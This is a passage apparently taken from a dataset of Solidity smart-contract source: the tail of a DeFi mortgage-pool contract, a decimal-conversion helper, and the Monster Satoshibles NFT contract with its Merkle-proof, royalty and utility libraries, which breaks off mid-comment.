getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), fee); // Eliminate negative accounts insurancePool.eliminate(pToken, pTokenToUnderlying[pToken]); emit FeeValue(pToken, fee); } // Update debt information pLedger.parassetAssets = parassetAssets.add(amount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(mortgageAssets, pLedger.parassetAssets, tokenPrice, pTokenPrice); // The debt warehouse mortgage rate cannot be greater than the maximum mortgage rate require(pLedger.rate <= maxRate[mortgageToken], "Log:MortgagePool:!maxRate"); // Additional ptoken issuance PToken(pToken).issuance(amount, address(msg.sender)); } /// @dev Reduce debt (increase coinage) /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of debt function reducedCoinage(address mortgageToken, address pToken, uint256 amount) public payable outOnly nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; address uToken = pTokenToUnderlying[pToken]; require(amount > 0 && amount <= parassetAssets, "Log:MortgagePool:!amount"); require(pLedger.created, "Log:MortgagePool:!created"); // Get the price (uint256 tokenPrice, uint256 pTokenPrice) = getPriceForPToken(mortgageToken, uToken, msg.value); // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), amount.add(fee)); // Eliminate negative accounts insurancePool.eliminate(pToken, uToken); emit FeeValue(pToken, fee); } // Update debt information pLedger.parassetAssets = parassetAssets.sub(amount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(mortgageAssets, pLedger.parassetAssets, tokenPrice, pTokenPrice); // Destroy ptoken insurancePool.destroyPToken(pToken, amount, uToken); } /// @dev Liquidation of debt /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param account debt owner address /// @param amount amount of mortgaged assets function liquidation(address mortgageToken, address pToken, address account, uint256 amount) public payable outOnly nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][account]; require(pLedger.created, "Log:MortgagePool:!created"); uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; require(amount > 0 && amount <= mortgageAssets, "Log:MortgagePool:!amount"); // Get the price address uToken = pTokenToUnderlying[pToken]; (uint256 tokenPrice, uint256 pTokenPrice) = getPriceForPToken(mortgageToken, uToken, msg.value); // Judging the liquidation line checkLine(pLedger, tokenPrice, pTokenPrice, mortgageToken); // Calculate the amount of ptoken uint256 pTokenAmount = amount.mul(pTokenPrice).mul(90).div(tokenPrice.mul(100)); // Transfer to ptoken ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), pTokenAmount); // Eliminate negative accounts insurancePool.eliminate(pToken, uToken); // Calculate the debt for destruction uint256 offset = parassetAssets.mul(amount).div(mortgageAssets); // Destroy ptoken insurancePool.destroyPToken(pToken, offset, uToken); // Update debt information pLedger.mortgageAssets = mortgageAssets.sub(amount); pLedger.parassetAssets = parassetAssets.sub(offset); // Partial liquidation, mortgage rate and block number are not updated if (pLedger.parassetAssets == 0) { pLedger.blockHeight = 0; pLedger.rate = 0; } // Transfer out mortgage asset if (mortgageToken != address(0x0)) { ERC20(mortgageToken).safeTransfer(address(msg.sender), amount); } else { TransferHelper.safeTransferETH(address(msg.sender), amount); } } /// @dev Check the liquidation line /// @param pLedger debt warehouse ledger /// @param tokenPrice Mortgage asset price(1 ETH = ? token) /// @param pTokenPrice PToken price(1 ETH = ? pToken) /// @param mortgageToken mortgage asset address function checkLine(PersonalLedger memory pLedger, uint256 tokenPrice, uint256 pTokenPrice, address mortgageToken) private view { uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; // The current mortgage rate cannot exceed the liquidation line uint256 mortgageRate = getMortgageRate(pLedger.mortgageAssets, parassetAssets, tokenPrice, pTokenPrice); uint256 fee = 0; if (parassetAssets > 0 && block.number > pLedger.blockHeight && pLedger.blockHeight != 0) { fee = getFee(parassetAssets, pLedger.blockHeight, pLedger.rate, mortgageRate); } require(getMortgageRate(mortgageAssets, parassetAssets.add(fee), tokenPrice, pTokenPrice) > liquidationLine[mortgageToken], "Log:MortgagePool:!liquidationLine"); } /// @dev Get price /// @param mortgageToken mortgage asset address /// @param uToken underlying asset address /// @param priceValue price fee /// @return tokenPrice Mortgage asset price(1 ETH = ? token) /// @return pTokenPrice PToken price(1 ETH = ? pToken) function getPriceForPToken(address mortgageToken, address uToken, uint256 priceValue) private returns (uint256 tokenPrice, uint256 pTokenPrice) { (tokenPrice, pTokenPrice) = quary.getPriceForPToken{value:priceValue}(mortgageToken, uToken, msg.sender); } function takeOutERC20(address token, uint256 amount, address to) public onlyGovernance { ERC20(token).safeTransfer(address(to), amount); } function takeOutETH(uint256 amount, address to) public onlyGovernance { TransferHelper.safeTransferETH(address(to), amount); } }
Uniform accuracy inputToken Initial token inputTokenAmount Amount of token outputToken Converted token return stability Amount of outputToken
function getDecimalConversion(address inputToken, uint256 inputTokenAmount, address outputToken) public view returns(uint256) { uint256 inputTokenDec = 18; uint256 outputTokenDec = 18; if (inputToken != address(0x0)) { inputTokenDec = IERC20(inputToken).decimals(); } if (outputToken != address(0x0)) { outputTokenDec = IERC20(outputToken).decimals(); } return inputTokenAmount.mul(10**outputTokenDec).div(10**inputTokenDec); }
14,660,413
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * __ __ _ * | \/ | ___ _ __ ___| |_ ___ _ __ * | |\/| |/ _ \| '_ \/ __| __/ _ \ '__| * | | | | (_) | | | \__ \ || __/ | * |_|__|_|\___/|_| |_|___/\__\___|_|_ _ * / ___| __ _| |_ ___ ___| |__ (_) |__ | | ___ ___ * \___ \ / _` | __/ _ \/ __| '_ \| | '_ \| |/ _ \/ __| * ___) | (_| | || (_) \__ \ | | | | |_) | | __/\__ \ * |____/ \__,_|\__\___/|___/_| |_|_|_.__/|_|\___||___/ * */ import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./ERC2981ContractWideRoyalties.sol"; import "./MerkleProof.sol"; /** * @notice Original Satoshibles contract interface */ interface ISatoshible { function ownerOf( uint256 _tokenId ) external view returns (address owner); } /** * @title Monster Satoshibles * @notice NFT of monsters that can be burned and combined into prime monsters! * @author Aaron Hanson */ contract MonsterSatoshible is ERC721, ERC2981ContractWideRoyalties, Ownable { /// The max token supply uint256 public constant MAX_SUPPLY = 6666; /// The presale portion of the max supply uint256 public constant MAX_PRESALE_SUPPLY = 3333; /// Mysterious constants 💀 uint256 constant DEATH = 0xDEAD; uint256 constant LIFE = 0x024350AC; uint256 constant ALPHA = LIFE % DEATH * 1000; uint256 constant OMEGA = LIFE % DEATH + ALPHA; /// Prime types uint256 constant FRANKENSTEIN = 0; uint256 constant WEREWOLF = 1; uint256 constant VAMPIRE = 2; uint256 constant ZOMBIE = 3; uint256 constant INVALID = 4; /// Number of prime parts uint256 constant NUM_PARTS = 4; /// Bitfield mask for prime part detection during prime minting uint256 constant HAS_ALL_PARTS = 2 ** NUM_PARTS - 1; /// Merkle root summarizing the presale whitelist bytes32 public constant WHITELIST_MERKLE_ROOT = 0xdb6eea27a6a35a02d1928e9582f75c1e0a518ad5992b5cfee9cc0d86fb387b8d; /// Additional team wallets (can withdraw) address public constant TEAM_WALLET_A = 0xF746362D8162Eeb3624c17654FFAa6EB8bD71820; address public constant TEAM_WALLET_B = 0x16659F9D2ab9565B0c07199687DE3634c0965391; address public constant TEAM_WALLET_C = 0x7a73f770873761054ab7757E909ae48f771379D4; address public constant TEAM_WALLET_D = 0xB7c7e3809591F720f3a75Fb3efa05E76E6B7B92A; /// The maximum ERC-2981 royalties percentage uint256 public constant MAX_ROYALTIES_PCT = 600; /// Original Satoshibles contract instance ISatoshible public immutable SATOSHIBLE_CONTRACT; /// The max presale token ID uint256 public immutable MAX_PRESALE_TOKEN_ID; /// The current token supply uint256 public totalSupply; /// The current state of the sale bool public saleIsActive; /// Indicates if the public sale was opened manually bool public publicSaleOpenedEarly; /// The default and discount token prices in wei uint256 public tokenPrice = 99900000000000000; // 0.0999 ether uint256 public discountPrice = 66600000000000000; // 0.0666 ether /// Tracks number of presale mints already used per address mapping(address => uint256) public whitelistMintsUsed; /// The current state of the laboratory bool public laboratoryHasElectricity; /// Merkle root summarizing all monster IDs and their prime parts bytes32 public primePartsMerkleRoot; /// The provenance URI string public provenanceURI = "Not Yet Set"; /// When true, the provenanceURI can no longer be changed bool public provenanceUriLocked; /// The base URI string public baseURI = "https://api.satoshibles.com/monsters/token/"; /// When true, the baseURI can no longer be changed bool public baseUriLocked; /// Use Counters for token IDs using Counters for Counters.Counter; /// Monster token ID counter Counters.Counter monsterIds; /// Prime token ID counter for each prime type mapping(uint256 => Counters.Counter) primeIds; /// Prime ID offsets for each prime type mapping(uint256 => uint256) primeIdOffset; /// Bitfields that track original Satoshibles already used for discounts mapping(uint256 => uint256) satDiscountBitfields; /// Bitfields that track original Satoshibles already used in lab mapping(uint256 => uint256) satLabBitfields; /** * @notice Emitted when the saleIsActive flag changes * @param isActive Indicates whether or not the sale is now active */ event SaleStateChanged( bool indexed isActive ); /** * @notice Emitted when the public sale is opened early */ event PublicSaleOpenedEarly(); /** * @notice Emitted when the laboratoryHasElectricity flag changes * @param hasElectricity Indicates whether or not the laboratory is open */ event LaboratoryStateChanged( bool indexed hasElectricity ); /** * @notice Emitted when a prime is created in the lab * @param creator The account that created the prime * @param primeId The ID of the prime created * @param satId The Satoshible used as the 'key' to the lab * @param monsterIdsBurned The IDs of the monsters burned */ event PrimeCreated( address indexed creator, uint256 indexed primeId, uint256 indexed satId, uint256[4] monsterIdsBurned ); /** * @notice Requires the specified Satoshible to be owned by msg.sender * @param _satId Original Satoshible token ID */ modifier onlySatHolder( uint256 _satId ) { require( SATOSHIBLE_CONTRACT.ownerOf(_satId) == _msgSender(), "Sat not owned" ); _; } /** * @notice Requires msg.sender to be the owner or a team wallet */ modifier onlyTeam() { require( _msgSender() == TEAM_WALLET_A || _msgSender() == TEAM_WALLET_B || _msgSender() == TEAM_WALLET_C || _msgSender() == TEAM_WALLET_D || _msgSender() == owner(), "Not owner or team address" ); _; } /** * @notice Boom... Let's go! * @param _initialBatchCount Number of tokens to mint to msg.sender * @param _immutableSatoshible Original Satoshible contract address * @param _royaltiesPercentage Initial royalties percentage for ERC-2981 */ constructor( uint256 _initialBatchCount, address _immutableSatoshible, uint256 _royaltiesPercentage ) ERC721("Monster Satoshibles", "MSBLS") { SATOSHIBLE_CONTRACT = ISatoshible( _immutableSatoshible ); require( _royaltiesPercentage <= MAX_ROYALTIES_PCT, "Royalties too high" ); _setRoyalties( _msgSender(), _royaltiesPercentage ); _initializePrimeIdOffsets(); _initializeSatDiscountAvailability(); _initializeSatLabAvailability(); _mintTokens(_initialBatchCount); require( belowMaximum(_initialBatchCount, MAX_PRESALE_SUPPLY, MAX_SUPPLY ) == true, "Would exceed max supply" ); unchecked { MAX_PRESALE_TOKEN_ID = _initialBatchCount + MAX_PRESALE_SUPPLY; } } /** * @notice Mints monster tokens during presale, optionally with discounts * @param _numberOfTokens Number of tokens to mint * @param _satsForDiscount Array of Satoshible IDs for discounted mints * @param _whitelistedTokens Account's total number of whitelisted tokens * @param _proof Merkle proof to be verified */ function mintTokensPresale( uint256 _numberOfTokens, uint256[] calldata _satsForDiscount, uint256 _whitelistedTokens, bytes32[] calldata _proof ) external payable { require( publicSaleOpenedEarly == false, "Presale has ended" ); require( belowMaximum(monsterIds.current(), _numberOfTokens, MAX_PRESALE_TOKEN_ID ) == true, "Would exceed presale size" ); require( belowMaximum(whitelistMintsUsed[_msgSender()], _numberOfTokens, _whitelistedTokens ) == true, "Would exceed whitelisted count" ); require( verifyWhitelisted(_msgSender(), _whitelistedTokens, _proof ) == true, "Invalid whitelist proof" ); whitelistMintsUsed[_msgSender()] += _numberOfTokens; _doMintTokens( _numberOfTokens, _satsForDiscount ); } /** * @notice Mints monsters during public sale, optionally with discounts * @param _numberOfTokens Number of monster tokens to mint * @param _satsForDiscount Array of Satoshible IDs for discounted mints */ function mintTokensPublicSale( uint256 _numberOfTokens, uint256[] calldata _satsForDiscount ) external payable { require( publicSaleOpened() == true, "Public sale has not started" ); require( belowMaximum(monsterIds.current(), _numberOfTokens, MAX_SUPPLY ) == true, "Not enough tokens left" ); _doMintTokens( _numberOfTokens, _satsForDiscount ); } /** * @notice Mints a prime token by burning two or more monster tokens * @param _primeType Prime type to mint * @param _satId Original Satoshible token ID to use as 'key' to the lab * @param _monsterIds Array of monster token IDs to potentially be burned * @param _monsterPrimeParts Array of bitfields of monsters' prime parts * @param _proofs Array of merkle proofs to be verified */ function mintPrimeToken( uint256 _primeType, uint256 _satId, uint256[] calldata _monsterIds, uint256[] calldata _monsterPrimeParts, bytes32[][] calldata _proofs ) external onlySatHolder(_satId) { require( laboratoryHasElectricity == true, "Prime laboratory not yet open" ); require( _primeType < INVALID, "Invalid prime type" ); require( belowMaximum( primeIdOffset[_primeType], primeIds[_primeType].current() + 1, primeIdOffset[_primeType + 1] ) == true, "No more primes left of this type" ); require( satIsAvailableForLab(_satId) == true, "Sat has already been used in lab" ); // bitfield tracking aggregate parts across monsters // (head = 1, eyes = 2, mouth = 4, body = 8) uint256 combinedParts; uint256[4] memory burnedIds; unchecked { uint256 burnedIndex; for (uint256 i = 0; i < _monsterIds.length; i++) { require( verifyMonsterPrimeParts( _monsterIds[i], _monsterPrimeParts[i], _proofs[i] ) == true, "Invalid monster traits proof" ); uint256 theseParts = _monsterPrimeParts[i] >> (_primeType * NUM_PARTS) & HAS_ALL_PARTS; if (combinedParts | theseParts != combinedParts) { _burn( _monsterIds[i] ); burnedIds[burnedIndex++] = _monsterIds[i]; combinedParts |= theseParts; if (combinedParts == HAS_ALL_PARTS) { break; } } } } require( combinedParts == HAS_ALL_PARTS, "Not enough parts for this prime" ); _retireSatFromLab(_satId); primeIds[_primeType].increment(); unchecked { uint256 primeId = primeIdOffset[_primeType] + primeIds[_primeType].current(); totalSupply++; _safeMint( _msgSender(), primeId ); emit PrimeCreated( _msgSender(), primeId, _satId, burnedIds ); } } /** * @notice Activates or deactivates the sale * @param _isActive Whether to activate or deactivate the sale */ function activateSale( bool _isActive ) external onlyOwner { saleIsActive = _isActive; emit SaleStateChanged( _isActive ); } /** * @notice Starts the public sale before MAX_PRESALE_TOKEN_ID is minted */ function openPublicSaleEarly() external onlyOwner { publicSaleOpenedEarly = true; emit PublicSaleOpenedEarly(); } /** * @notice Modifies the prices in case of major ETH price changes * @param _tokenPrice The new default token price * @param _discountPrice The new discount token price */ function updateTokenPrices( uint256 _tokenPrice, uint256 _discountPrice ) external onlyOwner { require( _tokenPrice >= _discountPrice, "discountPrice cannot be larger" ); require( saleIsActive == false, "Sale is active" ); tokenPrice = _tokenPrice; discountPrice = _discountPrice; } /** * @notice Sets primePartsMerkleRoot summarizing all monster prime parts * @param _merkleRoot The new merkle root */ function setPrimePartsMerkleRoot( bytes32 _merkleRoot ) external onlyOwner { primePartsMerkleRoot = _merkleRoot; } /** * @notice Turns the laboratory on or off * @param _hasElectricity Whether to turn the laboratory on or off */ function electrifyLaboratory( bool _hasElectricity ) external onlyOwner { laboratoryHasElectricity = _hasElectricity; emit LaboratoryStateChanged( _hasElectricity ); } /** * @notice Mints the final prime token */ function mintFinalPrime() external onlyOwner { require( _exists(OMEGA) == false, "Final prime already exists" ); unchecked { totalSupply++; } _safeMint( _msgSender(), OMEGA ); } /** * @notice Sets the provenance URI * @param _newProvenanceURI The new provenance URI */ function setProvenanceURI( string calldata _newProvenanceURI ) external onlyOwner { require( provenanceUriLocked == false, "Provenance URI has been locked" ); provenanceURI = _newProvenanceURI; } /** * @notice Prevents further changes to the provenance URI */ function lockProvenanceURI() external onlyOwner { provenanceUriLocked = true; } /** * @notice Sets a new base URI * @param _newBaseURI The new base URI */ function setBaseURI( string calldata _newBaseURI ) external onlyOwner { require( baseUriLocked == false, "Base URI has been locked" ); baseURI = _newBaseURI; } /** * @notice Prevents further changes to the base URI */ function lockBaseURI() external onlyOwner { baseUriLocked = true; } /** * @notice Withdraws sale proceeds * @param _amount Amount to withdraw in wei */ function withdraw( uint256 _amount ) external onlyTeam { payable(_msgSender()).transfer( _amount ); } /** * @notice Withdraws any other tokens * @dev WARNING: Double check token is legit before calling this * @param _token Contract address of token * @param _to Address to which to withdraw * @param _amount Amount to withdraw * @param _hasVerifiedToken Must be true (sanity check) */ function withdrawOther( address _token, address _to, uint256 _amount, bool _hasVerifiedToken ) external onlyOwner { require( _hasVerifiedToken == true, "Need to verify token" ); IERC20(_token).transfer( _to, _amount ); } /** * @notice Sets token royalties (ERC-2981) * @param _recipient Recipient of the royalties * @param _value Royalty percentage (using 2 decimals - 10000 = 100, 0 = 0) */ function setRoyalties( address _recipient, uint256 _value ) external onlyOwner { require( _value <= MAX_ROYALTIES_PCT, "Royalties too high" ); _setRoyalties( _recipient, _value ); } /** * @notice Checks which Satoshibles can still be used for a discounted mint * @dev Uses bitwise operators to find the bit representing each Satoshible * @param _satIds Array of original Satoshible token IDs * @return Token ID for each of the available _satIds, zero otherwise */ function satsAvailableForDiscountMint( uint256[] calldata _satIds ) external view returns (uint256[] memory) { uint256[] memory satsAvailable = new uint256[](_satIds.length); unchecked { for (uint256 i = 0; i < _satIds.length; i++) { if (satIsAvailableForDiscountMint(_satIds[i])) { satsAvailable[i] = _satIds[i]; } } } return satsAvailable; } /** * @notice Checks which Satoshibles can still be used to mint a prime * @dev Uses bitwise operators to find the bit representing each Satoshible * @param _satIds Array of original Satoshible token IDs * @return Token ID for each of the available _satIds, zero otherwise */ function satsAvailableForLab( uint256[] calldata _satIds ) external view returns (uint256[] memory) { uint256[] memory satsAvailable = new uint256[](_satIds.length); unchecked { for (uint256 i = 0; i < _satIds.length; i++) { if (satIsAvailableForLab(_satIds[i])) { satsAvailable[i] = _satIds[i]; } } } return satsAvailable; } /** * @notice Checks if a Satoshible can still be used for a discounted mint * @dev Uses bitwise operators to find the bit representing the Satoshible * @param _satId Original Satoshible token ID * @return isAvailable True if _satId can be used for a discounted mint */ function satIsAvailableForDiscountMint( uint256 _satId ) public view returns (bool isAvailable) { unchecked { uint256 page = _satId / 256; uint256 shift = _satId % 256; isAvailable = satDiscountBitfields[page] >> shift & 1 == 1; } } /** * @notice Checks if a Satoshible can still be used to mint a prime * @dev Uses bitwise operators to find the bit representing the Satoshible * @param _satId Original Satoshible token ID * @return isAvailable True if _satId can still be used to mint a prime */ function satIsAvailableForLab( uint256 _satId ) public view returns (bool isAvailable) { unchecked { uint256 page = _satId / 256; uint256 shift = _satId % 256; isAvailable = satLabBitfields[page] >> shift & 1 == 1; } } /** * @notice Verifies a merkle proof for a monster ID and its prime parts * @param _monsterId Monster token ID * @param _monsterPrimeParts Bitfield of the monster's prime parts * @param _proof Merkle proof be verified * @return isVerified True if the merkle proof is verified */ function verifyMonsterPrimeParts( uint256 _monsterId, uint256 _monsterPrimeParts, bytes32[] calldata _proof ) public view returns (bool isVerified) { bytes32 node = keccak256( abi.encodePacked( _monsterId, _monsterPrimeParts ) ); isVerified = MerkleProof.verify( _proof, primePartsMerkleRoot, node ); } /** * @notice Gets total count of existing prime tokens for a prime type * @param _primeType Prime type * @return supply Count of existing prime tokens for this prime type */ function primeSupply( uint256 _primeType ) public view returns (uint256 supply) { supply = primeIds[_primeType].current(); } /** * @notice Gets total count of existing prime tokens * @return supply Count of existing prime tokens */ function totalPrimeSupply() public view returns (uint256 supply) { unchecked { supply = primeSupply(FRANKENSTEIN) + primeSupply(WEREWOLF) + primeSupply(VAMPIRE) + primeSupply(ZOMBIE) + (_exists(OMEGA) ? 1 : 0); } } /** * @notice Gets total count of monsters burned * @return burned Count of monsters burned */ function monstersBurned() public view returns (uint256 burned) { unchecked { burned = monsterIds.current() + totalPrimeSupply() - totalSupply; } } /** * @notice Gets state of public sale * @return publicSaleIsOpen True if public sale phase has begun */ function publicSaleOpened() public view returns (bool publicSaleIsOpen) { publicSaleIsOpen = publicSaleOpenedEarly == true || monsterIds.current() >= MAX_PRESALE_TOKEN_ID; } /// @inheritdoc ERC165 function supportsInterface( bytes4 _interfaceId ) public view override (ERC721, ERC2981Base) returns (bool doesSupportInterface) { doesSupportInterface = super.supportsInterface(_interfaceId); } /** * @notice Verifies a merkle proof for an account's whitelisted tokens * @param _account Account to verify * @param _whitelistedTokens Number of whitelisted tokens for _account * @param _proof Merkle proof to be verified * @return isVerified True if the merkle proof is verified */ function verifyWhitelisted( address _account, uint256 _whitelistedTokens, bytes32[] calldata _proof ) public pure returns (bool isVerified) { bytes32 node = keccak256( abi.encodePacked( _account, _whitelistedTokens ) ); isVerified = MerkleProof.verify( _proof, WHITELIST_MERKLE_ROOT, node ); } /** * @dev Base monster burning function * @param _tokenId Monster token ID to burn */ function _burn( uint256 _tokenId ) internal override { require( _isApprovedOrOwner(_msgSender(), _tokenId) == true, "not owner nor approved" ); unchecked { totalSupply -= 1; } super._burn( _tokenId ); } /** * @dev Base URI for computing tokenURI * @return Base URI string */ function _baseURI() internal view override returns (string memory) { return baseURI; } /** * @dev Base monster minting function, calculates price with discounts * @param _numberOfTokens Number of monster tokens to mint * @param _satsForDiscount Array of Satoshible IDs for discounted mints */ function _doMintTokens( uint256 _numberOfTokens, uint256[] calldata _satsForDiscount ) private { require( saleIsActive == true, "Sale must be active" ); require( _numberOfTokens >= 1, "Need at least 1 token" ); require( _numberOfTokens <= 50, "Max 50 at a time" ); require( _satsForDiscount.length <= _numberOfTokens, "Too many sats for discount" ); unchecked { uint256 discountIndex; for (; discountIndex < _satsForDiscount.length; discountIndex++) { _useSatForDiscountMint(_satsForDiscount[discountIndex]); } uint256 totalPrice = tokenPrice * (_numberOfTokens - discountIndex) + discountPrice * discountIndex; require( totalPrice == msg.value, "Ether amount not correct" ); } _mintTokens( _numberOfTokens ); } /** * @dev Base monster minting function. * @param _numberOfTokens Number of monster tokens to mint */ function _mintTokens( uint256 _numberOfTokens ) private { unchecked { totalSupply += _numberOfTokens; for (uint256 i = 0; i < _numberOfTokens; i++) { monsterIds.increment(); _safeMint( _msgSender(), monsterIds.current() ); } } } /** * @dev Marks a Satoshible ID as having been used for a discounted mint * @param _satId Satoshible ID that was used for a discounted mint */ function _useSatForDiscountMint( uint256 _satId ) private onlySatHolder(_satId) { require( satIsAvailableForDiscountMint(_satId) == true, "Sat for discount already used" ); unchecked { uint256 page = _satId / 256; uint256 shift = _satId % 256; satDiscountBitfields[page] &= ~(1 << shift); } } /** * @dev Marks a Satoshible ID as having been used to mint a prime * @param _satId Satoshible ID that was used to mint a prime */ function _retireSatFromLab( uint256 _satId ) private { unchecked { uint256 page = _satId / 256; uint256 shift = _satId % 256; satLabBitfields[page] &= ~(1 << shift); } } /** * @dev Initializes prime token ID offsets */ function _initializePrimeIdOffsets() private { unchecked { primeIdOffset[FRANKENSTEIN] = ALPHA; primeIdOffset[WEREWOLF] = ALPHA + 166; primeIdOffset[VAMPIRE] = ALPHA + 332; primeIdOffset[ZOMBIE] = ALPHA + 498; primeIdOffset[INVALID] = ALPHA + 665; } } /** * @dev Initializes bitfields of Satoshibles available for discounted mints */ function _initializeSatDiscountAvailability() private { unchecked { for (uint256 i = 0; i < 20; i++) { satDiscountBitfields[i] = type(uint256).max; } } } /** * @dev Initializes bitfields of Satoshibles available to mint primes */ function _initializeSatLabAvailability() private { unchecked { for (uint256 i = 0; i < 20; i++) { satLabBitfields[i] = type(uint256).max; } } } /** * @dev Helper function used for token ID range checks when minting * @param _currentValue Current token ID counter value * @param _incrementValue Number of tokens to increment by * @param _maximumValue Maximum token ID value allowed * @return isBelowMaximum True if _maximumValue is not exceeded */ function belowMaximum( uint256 _currentValue, uint256 _incrementValue, uint256 _maximumValue ) private pure returns (bool isBelowMaximum) { unchecked { isBelowMaximum = _currentValue + _incrementValue <= _maximumValue; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; library MerkleProof { function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /// @title IERC2981Royalties /// @dev Interface for the ERC2981 - Token Royalty standard interface IERC2981Royalties { /// @notice Called with the sale price to determine how much royalty // is owed and to whom. /// @param _tokenId - the NFT asset queried for royalty information /// @param _value - the sale price of the NFT asset specified by _tokenId /// @return _receiver - address of who should be sent the royalty payment /// @return _royaltyAmount - the royalty payment amount for value sale price function royaltyInfo(uint256 _tokenId, uint256 _value) external view returns (address _receiver, uint256 _royaltyAmount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./ERC2981Base.sol"; /// @dev This is a contract used to add ERC2981 support to ERC721 and 1155 /// @dev This implementation has the same royalties for each and every tokens abstract contract ERC2981ContractWideRoyalties is ERC2981Base { RoyaltyInfo private _royalties; /// @dev Sets token royalties /// @param _recipient recipient of the royalties /// @param _value percentage (using 2 decimals - 10000 = 100, 0 = 0) function _setRoyalties( address _recipient, uint256 _value ) internal { require(_value <= 10000, "ERC2981Royalties: Too high"); _royalties = RoyaltyInfo(_recipient, uint24(_value)); } /// @inheritdoc IERC2981Royalties function royaltyInfo( uint256, uint256 _value ) external view override returns (address receiver, uint256 royaltyAmount) { RoyaltyInfo memory royalties = _royalties; receiver = royalties.recipient; royaltyAmount = (_value * royalties.amount) / 10000; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./IERC2981Royalties.sol"; /// @dev This is a contract used to add ERC2981 support to ERC721 and 1155 abstract contract ERC2981Base is ERC165, IERC2981Royalties { struct RoyaltyInfo { address recipient; uint24 amount; } /// @inheritdoc ERC165 function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC2981Royalties).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 